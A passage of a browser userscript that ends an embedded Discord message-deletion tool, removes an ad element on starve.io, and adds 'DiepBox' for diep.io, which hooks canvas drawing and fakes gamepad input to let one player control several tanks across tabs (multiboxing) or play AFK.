                await deleteMessages(authToken, authorId, guildId, channelIds[i], minId || minDate, maxId || maxDate, content, hasLink, hasFile, includeNsfw, includePinned, pattern, searchDelay, deleteDelay, logger, stopHndl, onProg);
                stop(); // clear the running state
              }
           
            }
           
            function stop() {
              _stopFlag = true;
              $('#start').disabled = false;
              $('#stop').disabled = true;
           
              $('#progressBar').style.display = 'none';
              $('#progressPercent').style.display = 'none';
              undiscordBtn.querySelector('progress').style.display = 'none';
            }
           
            initUI();
           
           
            // ---- END Undiscord ----
           
          })();
    });
} else if (["starve.io"].includes(hostname)) {
    Utils.watchAndDelete("trevda");
} else if (hostname === "diep.io") {
    let GM_setValue = GM.setValue; //ack cazka using weird GM thing
    let GM_getValue = GM.getValue; //ack cazka using weird GM thing part two
    let diepBox = (()=>{
        /*
 *   C L A S S E S
 */
        class Gui {
            constructor(title) {
                this._colors = ['#E8B18A', '#E666EA', '#9566EA', '#6690EA', '#E7D063', '#EA6666', '#92EA66', '#66EAE6'];
                this._buttons = [];
                this._notifications = [];

                this._title = title;
                this._gui;
                this._guiHead;
                this._guiBody;

                this._init();
                this._enableShortcuts();
            }
            _init() {
                const nonce = `a${Math.floor(Math.random() * 1e5)}`;
                GM_addStyle(`.${nonce} button{display:block;font-family:Ubuntu;color:#fff;text-shadow:-.1em -.1em 0 #000,0 -.1em 0 #000,.1em -.1em 0 #000,.1em 0 0 #000,.1em .1em 0 #000,0 .1em 0 #000,-.1em .1em 0 #000,-.1em 0 0 #000;opacity:.8;border:0;padding:.3em .5em;width:100%;transition:all .15s}.${nonce}{top:0;left:0;position:absolute}.${nonce} button:active:not([disabled]){filter:brightness(.9)}.${nonce} button:hover:not([disabled]):not(:active){filter:brightness(1.1)}`);

                this._gui = document.createElement('div');
                this._guiHead = document.createElement('div');
                this._guiBody = document.createElement('div');

                this._gui.className = `${nonce}`;
                this._guiBody.style.display = 'block';

                document.body.appendChild(this._gui);
                this._gui.appendChild(this._guiHead);
                this._gui.appendChild(this._guiBody);

                this._addButton(this._guiHead, this._title, () => {
                    if (this._guiBody.style.display === 'block') {
                        this._guiBody.style.display = 'none';
                    } else {
                        this._guiBody.style.display = 'block';
                    }
                });
            }

            addButton(text, onclick, keyCode) {
                return this._addButton(this._guiBody, text, onclick, keyCode);
            }
            removeButton(button) {
                const index = this._buttons.findIndex((x) => x === button);
                if (index == -1) return;

                button.remove();
                button.active = false;

                this._buttons.splice(index, 1);
            }
            reset() {
                for (let i = 1, n = this._buttons.length; i < n; i++) {
                    this.removeButton(this._buttons[1]);
                }
            }

            _addButton(parent, text, onclick, keyCode) {
                const button = document.createElement('button');
                button.innerHTML = text;
                button.keyCode = keyCode;
                button.onclick = onclick;
                button.style['background-color'] = this._colors[this._buttons.length % this._colors.length];
                button.addEventListener('contextmenu', (e) => e.preventDefault());

                parent.appendChild(button);
                this._buttons.push(button);
                return button;
            }
            _enableShortcuts() {
                document.addEventListener('keydown', (event) => {
                    if (document.getElementById('textInputContainer').style.display === 'block') return;
                    this._buttons.forEach((button) => {
                        if (button.keyCode === event.code) button.onclick();
                    });
                });
            }
        }
        class Minimap {
            constructor() {
                this._minimapWidth;
                this._minimapHeight;
                this._x00;
                this._y00;
                this._pointX;
                this._pointY;
                this._pointX_previous;
                this._pointY_previous;
                this._viewportWidth;
                this._viewportHeight;
                this._fov;

                this._minimapHook();
                this._arrowHook();
                this._viewportHook();
                this._fovHook();
            }
            get x() {
                return this._pointX ? (this._pointX - this._x00) / this._minimapWidth : 0;
            }
            get y() {
                return this._pointY ? (this._pointY - this._y00) / this._minimapHeight : 0;
            }
            get x_previous() {
                return this._pointX_previous ? (this._pointX_previous - this._x00) / this._minimapWidth : 0;
            }
            get y_previous() {
                return this._pointY_previous ? (this._pointY_previous - this._y00) / this._minimapHeight : 0;
            }
            get scale() {
                return {
                    x: this._viewportWidth / this._minimapWidth,
                    y: this._viewportHeight / this._minimapHeight,
                };
            }
            get fov() {
                return this._fov;
            }

            _minimapHook() {
                let setTransformArgs;

                const onsetTransform = (args) => {
                    if (args[0] === args[3]) setTransformArgs = args;
                };
                const onstrokeRect = () => {
                    if (setTransformArgs) {
                        this._minimapWidth = setTransformArgs[0];
                        this._minimapHeight = setTransformArgs[3];
                        this._x00 = setTransformArgs[4];
                        this._y00 = setTransformArgs[5];
                        setTransformArgs = undefined;
                    }
                };
                this._ctxHook('setTransform', onsetTransform);
                this._ctxHook('strokeRect', onstrokeRect);
            }
            _arrowHook() {
                let index = 0;
                const stack = Array(4);

                let pointA;
                let pointB;
                let pointC;

                const calculatePos = () => {
                    const side1 = Math.floor(Math.sqrt(Math.pow(pointA[0] - pointB[0], 2) + Math.pow(pointA[1] - pointB[1], 2)));
                    const side2 = Math.floor(Math.sqrt(Math.pow(pointA[0] - pointC[0], 2) + Math.pow(pointA[1] - pointC[1], 2)));
                    const side3 = Math.floor(Math.sqrt(Math.pow(pointB[0] - pointC[0], 2) + Math.pow(pointB[1] - pointC[1], 2)));
                    if (side1 == side2 && side2 == side3) return;

                    this._pointX_previous = this._pointX;
                    this._pointY_previous = this._pointY;

                    this._pointX = (pointA[0] + pointB[0] + pointC[0]) / 3;
                    this._pointY = (pointA[1] + pointB[1] + pointC[1]) / 3;
                };
                const onbeginPath = () => {
                    index = 0;
                    stack[index++] = 0;
                };
                const onmoveTo = (args) => {
                    if (index === 1 && stack[index - 1] === 0) {
                        stack[index++] = 1;
                        pointA = args;
                        return;
                    }
                    index = 0;
                };
                const onlineTo = (args) => {
                    if (index === 2 && stack[index - 1] === 1) {
                        stack[index++] = 2;
                        pointB = args;
                        return;
                    }
                    if (index === 3 && stack[index - 1] === 2) {
                        stack[index++] = 2;
                        pointC = args;
                        return;
                    }
                    index = 0;
                };
                const onfill = () => {
                    if (index === 4 && stack[index - 1] === 2) {
                        calculatePos();
                        return;
                    }
                    index = 0;
                };

                this._ctxHook('beginPath', onbeginPath);
                this._ctxHook('moveTo', onmoveTo);
                this._ctxHook('lineTo', onlineTo);
                this._ctxHook('fill', onfill);
            }
            _viewportHook() {
                let setTransformArgs;

                const onsetTransform = (args) => {
                    if ((args[0] / args[3]).toFixed(4) !== (unsafeWindow.innerWidth / unsafeWindow.innerHeight).toFixed(4)) return;
                    if (args[0] >= unsafeWindow.innerWidth && args[3] >= unsafeWindow.innerHeight) return;

                    setTransformArgs = args;
                };
                const onfillRect = () => {
                    if (setTransformArgs) {
                        unsafeWindow.input.set_convar('ren_minimap_viewport', false);
                        this._viewportWidth = setTransformArgs[0];
                        this._viewportHeight = setTransformArgs[3];
                        setTransformArgs = undefined;
                    }
                };

                this._ctxHook('setTransform', onsetTransform);
                this._ctxHook('fillRect', onfillRect);

                setTimeout(() => unsafeWindow.input.set_convar('ren_minimap_viewport', true), 1000);
                setInterval(() => {
                    unsafeWindow.input.set_convar('ren_minimap_viewport', true);
                }, 1000);
            }
            _fovHook() {
                let solid_background = false;
                setTimeout(() => {
                    solid_background = unsafeWindow.input.get_convar('ren_solid_background') === 'true' ? true : false;
                }, 1000);

                const calculateFov = (fov) => {
                    this._fov = fov * 10;
                };
                function onstroke() {
                    if (this.fillStyle === '#cdcdcd') {
                        if (solid_background) unsafeWindow.input.set_convar('ren_solid_background', true);
                        calculateFov(this.globalAlpha);
                    }
                }

                this._ctxHook('stroke', onstroke);

                setInterval(() => {
                    if (solid_background) unsafeWindow.input.set_convar('ren_solid_background', false);
                }, 1000);
            }
            _ctxHook(method, hook) {
                const target = window.CanvasRenderingContext2D.prototype;
                target[method] = new Proxy(target[method], {
                    apply(target, thisArg, args) {
                        args = hook.call(thisArg, args) || args;
                        return target.apply(thisArg, args);
                    },
                });
            }
        }
        class DiepGamepad {
            constructor() {
                this._axes = [0, 0, 0, 0];
                this._buttons = [...Array(17)].map((x) => {
                    return { pressed: false };
                });
            }

            set x(value) {
                this._axes[0] = value;
            }
            set y(value) {
                this._axes[1] = value;
            }
            set mx(value) {
                this._axes[2] = value;
            }
            set my(value) {
                this._axes[3] = value;
            }
            set leftMouse(value) {
                this._buttons[7].pressed = value;
            }
            set rightMouse(value) {
                this._buttons[6].pressed = value;
            }
            set connected(value) {
                unsafeWindow.navigator.getGamepads = () => [value ? this.toGamepad() : undefined];
            }

            get x() {
                return this._axes[0];
            }
            get y() {
                return this._axes[1];
            }
            get mx() {
                return this._axes[2];
            }
            get my() {
                return this._axes[3];
            }
            get leftMouse() {
                return this._buttons[7].pressed;
            }
            get rightMouse() {
                return this._buttons[6].pressed;
            }
            get connected() {
                return unsafeWindow.navigator.getGamepads()[0] ? true : false;
            }

            toGamepad() {
                return {
                    axes: this._axes,
                    buttons: this._buttons,
                    mapping: 'standard',
                };
            }
        }
        class Vector {
            static length({ x, y }) {
                return Math.sqrt(x ** 2 + y ** 2);
            }
            static add(u, v) {
                return {
                    x: u.x + v.x,
                    y: u.y + v.y,
                };
            }
            static subtract(u, v) {
                return {
                    x: u.x - v.x,
                    y: u.y - v.y,
                };
            }
            static scale(r, v) {
                return {
                    x: r * v.x,
                    y: r * v.y,
                };
            }
            static normalize(v) {
                return {
                    x: v.x / Vector.length(v),
                    y: v.y / Vector.length(v),
                };
            }
            static dot(u, v) {
                return u.x * v.x + u.y * v.y;
            }
            static distance(u, v) {
                return Vector.length(Vector.subtract(u, v));
            }
            static distanceLine(a, n, p) {
                const r = Vector.dot(n, Vector.subtract(a, p)) / -Vector.dot(n, n);
                const point = Vector.add(a, Vector.scale(r, n));
                const distance = Vector.distance(point, p);
                return {
                    r,
                    point,
                    distance,
                };
            }
        }
        class Arena {
            static get BLOCKSIZE() {
                return 50;
            }
            static scale(x, y) {
                return {
                    x: Math.floor(22300 * (x - 0.5) + 0.5),
                    y: Math.floor(22300 * (y - 0.5) + 0.5),
                };
            }
            static unscale(x, y) {
                return {
                    x: x / 22300 + 0.5,
                    y: y / 22300 + 0.5,
                };
            }
        }
        class Player {
            constructor() {
                this._minimap = new Minimap();
                this._gamepad = new DiepGamepad();

                this._mouse = {
                    x: 0,
                    y: 0,
                };
                this._inputs = {
                    left: false,
                    down: false,
                    up: false,
                    right: false,
                };
                this._dead = true;

                unsafeWindow.addEventListener('mousemove', (e) => this._onmousemove(e));
                unsafeWindow.addEventListener('mousedown', (e) => this._onmousedown(e));
                unsafeWindow.addEventListener('mouseup', (e) => this._onmouseup(e));
                unsafeWindow.addEventListener('keydown', (e) => this._onkeydown(e));
                unsafeWindow.addEventListener('keyup', (e) => this._onkeyup(e));
                new MutationObserver((args) => {
                    this._dead = args[0].target.style.display === 'block';
                    if (this.ondead && this._dead) this.ondead();
                }).observe(document.getElementById('a'), { attributes: true });
            }

            set useGamepad(value) {
                this._gamepad.connected = value;
            }

            get position() {
                const position = Arena.scale(this._minimap.x, this._minimap.y);
                const previous = Arena.scale(this._minimap.x_previous, this._minimap.y_previous);
                return {
                    x: position.x,
                    y: position.y,
                    x_previous: previous.x,
                    y_previous: previous.y,
                };
            }
            get mouse() {
                return this.toArenaPos(this._mouse.x, this._mouse.y);
            }
            get inputs() {
                return this._inputs;
            }
            get dead() {
                return this._dead;
            }

            get gamemode() {
                return unsafeWindow.localStorage.gamemode;
            }

            keyDown(key) {
                unsafeWindow.input.keyDown(key);
                this._onkeydown({ keyCode: key });
            }
            keyUp(key) {
                unsafeWindow.input.keyUp(key);
                this._onkeyup({ keyCode: key });
            }
            toScreenPos(x, y) {
                const unscale = Arena.unscale(x, y);
                x = unscale.x;
                y = unscale.y;

                let position = this.position;
                position = Arena.unscale(position.x, position.y);
                const scale = this._minimap.scale;

                x -= position.x;
                x /= scale.x;
                x += 0.5;
                x *= unsafeWindow.innerWidth;

                y -= position.y;
                y /= scale.y;
                y += 0.5;
                y *= unsafeWindow.innerHeight;

                return { x, y };
            }
            toArenaPos(x, y) {
                let position = this.position;
                position = Arena.unscale(position.x, position.y);
                const scale = this._minimap.scale;

                x /= unsafeWindow.innerWidth;
                x -= 0.5;
                x *= scale.x;
                x += position.x;

                y /= unsafeWindow.innerHeight;
                y -= 0.5;
                y *= scale.y;
                y += position.y;

                return Arena.scale(x, y);
            }
            moveTo(x, y) {
                const position = this.position;

                const deltaX = x - position.x;
                const deltaY = y - position.y;
                const length = Vector.length({ x: deltaX, y: deltaY });

                if (length === 0) {
                    this._gamepad.x = 0;
                    this._gamepad.y = 0;
                    return;
                }

                //max speed
                x = deltaX / length;
                y = deltaY / length;

                this._gamepad.x = x;
                this._gamepad.y = y;
            }
            lookAt(x, y) {
                const position = this.position;

                const a = window.innerHeight / 1080;
                const b = window.innerWidth / 1920;
                const c = b < a ? a : b;

                let x_axes = (((x - position.x) / c) * this._minimap.fov) / 1200 / 1.1;
                let y_axes = (((y - position.y) / c) * this._minimap.fov) / 1200 / 1.1;

                const length = Vector.length({ x: x_axes, y: y_axes });

                if (length != 0 && length < 0.1) {
                    x_axes *= 0.11 / length;
                    y_axes *= 0.11 / length;
                }

                this._gamepad.mx = x_axes;
                this._gamepad.my = y_axes;
            }
            findBestPos(targetPosition, inputs) {
                const TOLERANCE = 200;
                //Strategies:
                //(1) Dont move to target if to close [removed]
                //(2) copy movement vector if to close [removed]
                //(3) predict future position
                //(4) make way when target moves to my direction
                //(5) dont do (2). create new vector through player inputs instead. this makes better predictions.
                const me = this.position;
                const target = {
                    x: targetPosition.x,
                    y: targetPosition.y,
                    x_previous: targetPosition.x_previous,
                    y_previous: targetPosition.y_previous,
                };

                const distance = Vector.distance(me, target);

                const targetVector = Vector.subtract({ x: target.x, y: target.y }, { x: target.x_previous, y: target.y_previous });

                // (4)
                if (distance < 4 * TOLERANCE && Vector.length(targetVector) > 2) {
                    const { r, point, distance } = Vector.distanceLine(target, targetVector, me);

                    if (distance < 75 && r > 0) {
                        return Vector.add(me, Vector.subtract(me, point));
                    }
                }
                // (5)
                if (distance < TOLERANCE) {
                    let x = inputs.left ? -1 : 0;
                    x += inputs.right ? 1 : 0;
                    let y = inputs.up ? -1 : 0;
                    y += inputs.down ? 1 : 0;
                    return Vector.add(me, { x, y });
                }

                // (3)
                return Vector.add(target, Vector.scale(50, targetVector));
            }
            _onmousemove(e) {
                this._mouse.x = e.clientX;
                this._mouse.y = e.clientY;
            }
            _onmousedown(e) {
                this.onkeyDown && this.onkeyDown(e.which);
            }
            _onmouseup(e) {
                this.onkeyUp && this.onkeyUp(e.which);
            }
            _onkeydown(e) {
                switch (e.keyCode) {
                    case 37:
                    case 65:
                        this._inputs.left = true;
                        break;
                    case 40:
                    case 83:
                        this._inputs.down = true;
                        break;
                    case 38:
                    case 87:
                        this._inputs.up = true;
                        break;
                    case 39:
                    case 68:
                        this._inputs.right = true;
                        break;
                    case 1:
                    case 32:
                        this._gamepad.leftMouse = true;
                        break;
                    case 3:
                    case 16:
                        this._gamepad.rightMouse = true;
                        break;
                }

                this.onkeyDown && this.onkeyDown(e.keyCode);
            }
            _onkeyup(e) {
                switch (e.keyCode) {
                    case 37:
                    case 65:
                        this._inputs.left = false;
                        break;
                    case 40:
                    case 83:
                        this._inputs.down = false;
                        break;
                    case 38:
                    case 87:
                        this._inputs.up = false;
                        break;
                    case 39:
                    case 68:
                        this._inputs.right = false;
                        break;
                    case 1:
                    case 32:
                        this._gamepad.leftMouse = false;
                        break;
                    case 3:
                    case 16:
                        this._gamepad.rightMouse = false;
                        break;
                }

                this.onkeyUp && this.onkeyUp(e.keyCode);
            }
        }
        class MultiboxStorage {
            /*
     * items in storage:
     * position: [x, y, x_previous, y_previous]
     * mouse: [x,y]
     * mutex: boolean
     * multibox: boolean
     * keyDown: Number
     * keyUp: Number
     * clumpMode: String
     * inputs: [left, down, up, right]
     */
            constructor() {
                //if the user launches this script for the first time
                try {
                    this.position;
                    this.mouse;
                    this.multibox;
                    this.mutex;
                    this.keyDown;
                    this.keyUp;
                    this.clumpMode;
                    this.inputs;
                } catch (err) {
                    console.log('DiepBox Error: MultiboxStorage needs to be initialized');
                    this.reset();
                }
            }

            set position(position) {
                GM_setValue('position', [position.x, position.y, position.x_previous, position.y_previous]);
            }
            set mouse(mouse) {
                GM_setValue('mouse', [mouse.x, mouse.y]);
            }
            set mutex(mutex) {
                GM_setValue('mutex', mutex ? 1 : 0);
            }
            set multibox(multibox) {
                GM_setValue('multibox', multibox ? 1 : 0);
            }
            set keyDown(key) {
                GM_setValue('keyDown', key);
            }
            set keyUp(key) {
                GM_setValue('keyUp', key);
            }
            set clumpMode(mode) {
                let m = 0;
                switch (mode) {
                    case 'player':
                        m = 0;
                        break;
                    case 'mouse':
                        m = 1;
                        break;
                    case 'shield':
                        m = 2;
                        break;
                    default:
                        throw new Error('unsupported clump mode', mode);
                }
                GM_setValue('clumpMode', m);
            }
            set inputs(inputs) {
                GM_setValue('inputs', [inputs.left, inputs.down, inputs.up, inputs.right]);
            }

            get position() {
                const position = GM_getValue('position');
                return {
                    x: position[0],
                    y: position[1],
                    x_previous: position[2],
                    y_previous: position[3],
                };
            }
            get mouse() {
                const mouse = GM_getValue('mouse');
                return {
                    x: mouse[0],
                    y: mouse[1],
                };
            }
            get mutex() {
                const mutex = GM_getValue('mutex');
                return mutex === 1 ? true : false;
            }
            get multibox() {
                const multibox = GM_getValue('multibox');
                return multibox === 1 ? true : false;
            }
            get keyDown() {
                return GM_getValue('keyDown');
            }
            get keyUp() {
                return GM_getValue('keyUp');
            }
            get clumpMode() {
                const m = GM_getValue('clumpMode');
                let mode = '';
                switch (m) {
                    case 0:
                        mode = 'player';
                        break;
                    case 1:
                        mode = 'mouse';
                        break;
                    case 2:
                        mode = 'shield';
                        break;
                    default:
                        throw new Error('unsupported clump mode', m);
                }
                return mode;
            }
            get inputs() {
                const inputs = GM_getValue('inputs');
                return {
                    left: inputs[0],
                    down: inputs[1],
                    up: inputs[2],
                    right: inputs[3],
                };
            }

            reset() {
                this.position = { x: 0, y: 0, x_previous: 0, y_previous: 0 };
                this.mouse = { x: 0, y: 0 };
                this.mutex = false;
                this.multibox = false;
                this.keyDown = -1;
                this.keyUp = -1;
                this.clumpMode = 'player';
                this.inputs = { left: false, down: false, up: false, right: false };
            }
            on(name, cb) {
                return GM_addValueChangeListener(name, cb);
            }
            once(name, cb) {
                const id = GM_addValueChangeListener(name, (...args) => {
                    cb(...args);
                    this.off(id);
                });
            }
            off(id) {
                GM_removeValueChangeListener(id);
            }
        }
        /**
 * Server code can be inspected here https://glitch.com/edit/#!/diepbox-chat
 */
        class Chat {
            constructor(player) {
                this._player = player;
                this._chatmode = false;
                this._input = '';
                this._socket;
                this._messages = [];
                this._inputBox = document.body.appendChild(document.createElement('div'));
                this._inputBox.style.display = 'none';

                this._hookonkeydown();
                this._hookAnimationFrame();

                if (this._player.ondead) throw new Error('on dead listener is already taken. implement Event interface.');
                this._player.ondead = () => {
                    this._closechat();
                };

                //this._connect();
            }

            _connect() {
                //this._socket = new WebSocket('wss://diepbox-chat.glitch.me');
                //this._socket.binaryType = 'arraybuffer';
                //this._socket.onmessage = (e) => this._onmessage(e);
                //this._socket.onclose = () => setTimeout(() => this._connect(), 100);
            }

            _send(message) {
                const position = this._player.position;
                const packet = {
                    pos: {
                        x: position.x,
                        y: position.y,
                    },
                    m: message,
                };

                this._socket.send(new TextEncoder().encode(JSON.stringify(packet)));
            }
            _onmessage(e) {
                const message = JSON.parse(new TextDecoder().decode(e.data));
                // message = {
                //               pos: { x, y},
                //               m: string,
                //               ... maybe more
                //           }
                this._messages.push({
                    timestamp: Date.now(),
                    body: document.body.appendChild(document.createElement('div')),
                    ...message,
                });
            }
            _openchat() {
                this._chatmode = true;
                this._inputBox.innerText = this._input;
                this._inputBox.style.display = 'block';
            }
            _closechat() {
                this._chatmode = false;
                this._inputBox.style.display = 'none';

                this._send(this._input);
                this._input = '';
            }
            _onkeydown(e) {
                let preventDefault = false;

                if (player.dead || !player.isMaster) return;

                //activate chat mode when user presses enter
                if (!this._chatmode && e.keyCode === 13) {
                    //this._openchat();
                    return preventDefault;
                }
                //deactivate when user presses Enter
                if (this._chatmode && e.keyCode == 13) {
                    this._closechat();
                    return preventDefault;
                }

                //save input
                if (this._chatmode && e.keyCode >= 32 && e.keyCode <= 126) {
                    this._input += e.key;
                }
                //backspace
                if (this._chatmode && e.keyCode === 8) {
                    this._input = this._input.slice(0, -1);
                }

                if (this._chatmode) {
                    this._inputBox.innerText = this._input;
                    preventDefault = true;
                    e.preventDefault();
                }

                return preventDefault;
            }
            _hookonkeydown() {
                const _this = this;
                unsafeWindow.onkeydown = new Proxy(unsafeWindow.onkeydown, {
                    apply(target, thisArg, args) {
                        if (!_this._onkeydown.apply(_this, args)) target.apply(thisArg, args);
                    },
                });
            }
            _hookAnimationFrame() {
                const _this = this;
                unsafeWindow.requestAnimationFrame = new Proxy(unsafeWindow.requestAnimationFrame, {
                    apply(target, thisArg, args) {
                        const position = _this._player.position;
                        const screenPos = _this._player.toScreenPos(position.x - _this._inputBox.innerText.length * 6.5, position.y - 140);
                        _this._inputBox.style.position = 'absolute';
                        _this._inputBox.style.zIndex = '99999';
                        _this._inputBox.style.left = `${screenPos.x}px`;
                        _this._inputBox.style.top = `${screenPos.y}px`;
                        _this._inputBox.style['font-family'] = 'Ubuntu';
                        _this._inputBox.style.color = '#fff';
                        _this._inputBox.style['font-size'] = '1em';
                        _this._inputBox.style['text-shadow'] = '-.1em -.1em 0 #000,0 -.1em 0 #000,.1em -.1em 0 #000,.1em 0 0 #000,.1em 0.1em 0 #000,0 0.1em 0 #000,-.1em 0.1em 0 #000,-.1em 0 0 #000';

                        //remove messages that are older than 10 seconds
                        _this._messages = _this._messages.filter((x) => {
                            if (Date.now() - x.timestamp > 10000) {
                                x.body.parentNode.removeChild(x.body);
                                return false;
                            }
                            return true;
                        });
                        //place each message on screen
                        _this._messages.forEach((x) => {
                            const screenPos = _this._player.toScreenPos(x.pos.x - x.m.length * 6.5, x.pos.y - 140);
                            x.body.style.display = 'block';
                            x.body.style.position = 'absolute';
                            x.body.style.zIndex = '99999';
                            x.body.style.left = `${screenPos.x}px`;
                            x.body.style.top = `${screenPos.y}px`;
                            x.body.style['font-family'] = 'Ubuntu';
                            x.body.style.color = '#fff';
                            x.body.style['font-size'] = '1em';
                            x.body.style['text-shadow'] = '-.1em -.1em 0 #000,0 -.1em 0 #000,.1em -.1em 0 #000,.1em 0 0 #000,.1em 0.1em 0 #000,0 0.1em 0 #000,-.1em 0.1em 0 #000,-.1em 0 0 #000';
                            x.body.innerText = x.m;
                        });
                        return target.apply(thisArg, args);
                    },
                });
            }
        }
        /*
 *   D E B U G G E R
 */
        const DEBUG = false;
        const debugger_mouse = document.body.appendChild(document.createElement('div'));
        function DEBUG_MousePosition(x, y, info = '') {
            if (!DEBUG) return;
            debugger_mouse.style.pointerEvents = 'none';
            debugger_mouse.style.position = 'absolute';
            debugger_mouse.style.zIndex = '99999';
            debugger_mouse.style.left = `${x - 5}px`;
            debugger_mouse.style.top = `${y - 2}px`;
            debugger_mouse.innerText = '👆 ' + info;
        }
        const debugger_pos = document.body.appendChild(document.createElement('div'));
        const debugger_pos_prediction = document.body.appendChild(document.createElement('div'));
        function DEBUG_PlayerPosition(x = -100, y = -100, x_prediction = -100, y_prediction = -100, info = '') {
            if (!DEBUG) return;
            debugger_pos.style.pointerEvents = 'none';
            debugger_pos.style.position = 'absolute';
            debugger_pos.style.zIndex = '99999';
            debugger_pos.style.left = `${x - 11}px`;
            debugger_pos.style.top = `${y - 12}px`;
            debugger_pos.innerText = '🟢 ' + info;

            debugger_pos_prediction.style.pointerEvents = 'none';
            debugger_pos_prediction.style.position = 'absolute';
            debugger_pos_prediction.style.zIndex = '99999';
            debugger_pos_prediction.style.left = `${x_prediction - 11}px`;
            debugger_pos_prediction.style.top = `${y_prediction - 12}px`;
            debugger_pos_prediction.innerText = '🔵';
        }
        /*
 *   H E L P E R   F U N C T I O N S
 */
        function onbtnMultibox() {
            this.active = !this.active;
            if (this.active) {
                storage.multibox = true;
                this.innerHTML = 'Multiboxing: ON';
            } else {
                storage.multibox = false;
                this.innerHTML = 'Multiboxing: OFF';
            }
        }
        function onbtnAfk() {
            this.active = !this.active;
            if (this.active) {
                player.useGamepad = true;
                this.position = player.position;
                this.mouse = player.mouse;
                this.innerHTML = 'AFK: ON';
            } else {
                player.useGamepad = false;
                this.innerHTML = 'AFK: OFF';
            }
        }
        function onbtnToggleClump() {
            this.mode = this.mode || 0;
            this.mode = (this.mode + 1) % 3;
            switch (this.mode) {
                case 0:
                    storage.clumpMode = 'player';
                    this.innerHTML = 'Clump: Player';
                    break;
                case 1:
                    storage.clumpMode = 'mouse';
                    this.innerHTML = 'Clump: Mouse';
                    break;
                case 2:
                    storage.clumpMode = 'shield';
                    this.innerHTML = 'Clump: Shield';
                    break;
            }
        }
        function onbtnRepelNecro() {
            this.active = !this.active;
            if (this.active) {
                let repelTime = 25 * 1000;
                this.repelInterval = setInterval(() => {
                    player.keyDown(3);
                    setTimeout(() => player.keyUp(3), repelTime);
                }, 2 * repelTime + 1300);
                this.innerHTML = 'Repel Necro: ON';
            } else {
                clearInterval(this.repelInterval);
                player.keyUp(3);
                this.innerHTML = 'Repel Necro: OFF';
            }
        }
        function onbtnRepelOverlord() {
            this.active = !this.active;
            if (this.active) {
                let repelTime = 60 * 1000;
                player.keyDown(3);
                this.repelInterval = setInterval(() => {
                    player.keyUp(3);
                    setTimeout(() => player.keyDown(3), 3000);
                }, repelTime);
                this.innerHTML = 'Repel Overlord: ON';
            } else {
                clearInterval(this.repelInterval);
                player.keyUp(3);
                this.innerHTML = 'Repel Overlord: OFF';
            }
        }
        function onbtnDiscord() {
            window.open('https://discord.gg/5q2E3Sx');
        }
        function drawZones() {
            if (player.dead) return;

            ctx.save();

            ctx.globalAlpha = 0.08;

            if (player.gamemode === '4teams') {
                let center;
                let radius;

                //blue
                center = player.toScreenPos(-11150 + 1675, -11150 + 1675);
                radius = player.toScreenPos(-11150 + 1675, -11150 + 1675 + 5250).y - center.y;
                ctx.fillStyle = '#006480';
                ctx.beginPath();
                ctx.arc(center.x, center.y, radius, 0, 2 * Math.PI);
                ctx.fill();
                radius = player.toScreenPos(-11150 + 1675, -11150 + 1675 + 3800).y - center.y;
                ctx.fillStyle = '#ff6480';
                ctx.beginPath();
                ctx.arc(center.x, center.y, radius, 0, 2 * Math.PI);
                ctx.fill();

                //purple
                center = player.toScreenPos(11150 - 1675, -11150 + 1675);
                radius = player.toScreenPos(11150 - 1675, -11150 + 1675 + 5250).y - center.y;
                ctx.fillStyle = '#644280';
                ctx.beginPath();
                ctx.arc(center.x, center.y, radius, 0, 2 * Math.PI);
                ctx.fill();
                radius = player.toScreenPos(-11150 + 1675, -11150 + 1675 + 3800).y - center.y;
                ctx.fillStyle = '#ff4280';
                ctx.beginPath();
                ctx.arc(center.x, center.y, radius, 0, 2 * Math.PI);
                ctx.fill();

                //green
                center = player.toScreenPos(-11150 + 1675, 11150 - 1675);
                radius = player.toScreenPos(-11150 + 1675, 11150 - 1675 + 5250).y - center.y;
                ctx.fillStyle = '#00803e';
                ctx.beginPath();
                ctx.arc(center.x, center.y, radius, 0, 2 * Math.PI);
                ctx.fill();
                radius = player.toScreenPos(-11150 + 1675, 11150 - 1675 + 3800).y - center.y;
                ctx.fillStyle = '#ff803e';
                ctx.beginPath();
                ctx.arc(center.x, center.y, radius, 0, 2 * Math.PI);
                ctx.fill();

                //red
                center = player.toScreenPos(11150 - 1675, 11150 - 1675);
                radius = player.toScreenPos(11150 - 1675, 11150 - 1675 + 5250).y - center.y;
                ctx.fillStyle = '#963033';
                ctx.beginPath();
                ctx.arc(center.x, center.y, radius, 0, 2 * Math.PI);
                ctx.fill();
                radius = player.toScreenPos(11150 - 1675, 11150 - 1675 + 3800).y - center.y;
                ctx.fillStyle = '#ff3033';
                ctx.beginPath();
                ctx.arc(center.x, center.y, radius, 0, 2 * Math.PI);
                ctx.fill();
            } else if (player.gamemode === 'teams') {
                let coords1;
                let coords2;

                //blue
                coords1 = player.toScreenPos(-11150, -11150);
                coords2 = player.toScreenPos(-11150 + 5500, 11150);
                ctx.fillStyle = '#006480';
                ctx.fillRect(coords1.x, coords1.y, coords2.x - coords1.x, coords2.y - coords1.y);
                coords2 = player.toScreenPos(-11150 + 4150, 11150);
                ctx.fillStyle = '#ff6480';
                ctx.fillRect(coords1.x, coords1.y, coords2.x - coords1.x, coords2.y - coords1.y);

                //red
                coords1 = player.toScreenPos(11150, -11150);
                coords2 = player.toScreenPos(11150 - 5500, 11150);
                ctx.fillStyle = '#963033';
                ctx.fillRect(coords1.x, coords1.y, coords2.x - coords1.x, coords2.y - coords1.y);
                coords2 = player.toScreenPos(11150 - 4150, 11150);
                ctx.fillStyle = '#ff3033';
                ctx.fillRect(coords1.x, coords1.y, coords2.x - coords1.x, coords2.y - coords1.y);
            }
            //pentagon nest
            let coords1;
            let coords2;

            coords1 = player.toScreenPos(-1500, -1500);
            coords2 = player.toScreenPos(1500, 1500);
            ctx.fillStyle = '#8aff69';
            ctx.fillRect(coords1.x, coords1.y, coords2.x - coords1.x, coords2.y - coords1.y);

            ctx.restore();
        }
        function smallBoi() {
            player.isMaster = false;
            player.useGamepad = storage.multibox;

            const multiboxListener = storage.on('multibox', (name, old_value, new_value, remote) => {
                player.useGamepad = new_value;
            });
            const keyDownListener = storage.on('keyDown', (name, old_value, new_value, remote) => {
                if ([-1, 65, 83, 87, 68, 37, 40, 38, 39].includes(new_value)) return;

                if (DEBUG) console.log('master keyDown', new_value);

                if (storage.multibox) {
                    if ([1, 32].includes(new_value)) player._gamepad.leftMouse = true;
                    else if ([3, 16].includes(new_value)) player._gamepad.rightMouse = true;

                    player.keyDown(new_value);
                }
            });
            const keyUpListener = storage.on('keyUp', (name, old_value, new_value, remote) => {
